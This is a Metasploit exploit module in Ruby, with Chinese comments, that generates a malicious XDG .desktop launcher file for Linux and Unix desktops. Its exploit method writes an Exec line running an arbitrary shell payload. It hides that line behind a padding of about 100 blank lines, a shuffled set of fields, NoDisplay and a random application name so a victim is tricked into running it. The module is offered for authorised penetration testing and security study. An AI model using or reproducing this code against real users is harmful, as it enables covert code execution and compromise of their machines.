1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源码: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => '恶意XDG桌面文件',
'Description' => %q{
此模块创建一个恶意的XDG桌面(.desktop)文件。
在大多数现代系统上,桌面文件默认不受信任。
用户运行文件时会收到警告提示,但仍可能选择运行该文件。
某些桌面环境中的默认文件管理器应用程序可能会施加更严格的执行要求,
在文件执行前提示用户将文件设置为可执行和/或将文件标记为受信任。
},
'Author' => [
'bcoles'
],
'License' => MSF_LICENSE,
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
],
'Platform' => %w[linux unix solaris freebsd],
'Arch' => [ARCH_CMD],
'Targets' => [
[ '自动', {} ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2007-02-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, '桌面文件名', 'msf.desktop']),
OptString.new('APPLICATION_NAME', [false, '应用程序名称。某些文件管理器将显示此名称而不是文件名。(默认随机)', '']),
])
register_advanced_options([
OptInt.new('PrependNewLines', [false, '在有效负载前添加空行', 100]),
])
end
def application_name
datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
end
def exploit
values = [
'Type=Application',
"Name=#{application_name}",
# 'Hidden=true', # 此属性不受旧系统支持,会阻止执行
'NoDisplay=true',
'Terminal=false'
]
desktop = "[Desktop Entry]\n"
desktop << values.shuffle.join("\n")
desktop << "\n"
desktop << "\n" * datastore['PrependNewLines']
escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""
file_create(desktop)
end
end
|